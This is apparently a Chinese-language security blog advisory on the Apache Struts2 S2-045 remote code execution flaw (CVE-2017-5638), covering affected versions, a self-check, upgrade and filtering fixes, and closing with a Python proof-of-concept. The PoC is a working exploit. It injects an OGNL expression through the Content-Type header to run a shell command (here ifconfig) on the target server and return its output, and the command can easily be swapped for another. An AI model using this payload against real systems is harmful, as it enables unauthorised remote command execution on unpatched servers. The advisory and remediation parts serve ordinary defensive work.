【Struts2】S2-045

今天上午爆出最新Struts2命令执行漏洞S2-045,在使用Jakarta插件处理文件上传操作时可能导致远程代码执行漏洞。


漏洞详情:

漏洞编号:S2-045
CVE编号:CVE-2017-5638
攻击者可修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令。由于该漏洞利用无需任何前置条件(如开启dmi ,debug等功能)以及启用任何插件,因此漏洞危害较为严重。
解压struts2-core-*.jar文件,找到default.properties,其中struts.multipart.parser的值为jakarta解析器,是Struts 2框架的标准组成部分。
默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。
官方链接:https://cwiki.apache.org/confluence/display/WW/S2-045


影响范围:

风险等级:高风险
漏洞风险:攻击者通过利用漏洞可以实现远程命令执行
影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10
自查方式:用户可查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar 文件,如果这个版本在Struts2.3.5到Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞。


修复建议:

1)升级到安全版本:Struts 2.3.32、Struts 2.5.10.1
Struts 2.3.32下载地址:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32
Struts 2.5.10.1下载地址:
https ://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1
替换struts2-core-*.jar
2)使用Servlet过滤器验证Content-Type过滤不匹配的请求multipart/form-data


漏洞验证:

pip install poster
POC:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()

参考文章:

http://www.freebuf.com/vuls/128668.html
http://bobao.360.cn/learning/detail/3571.html
http://www.mottoin.com/97954.html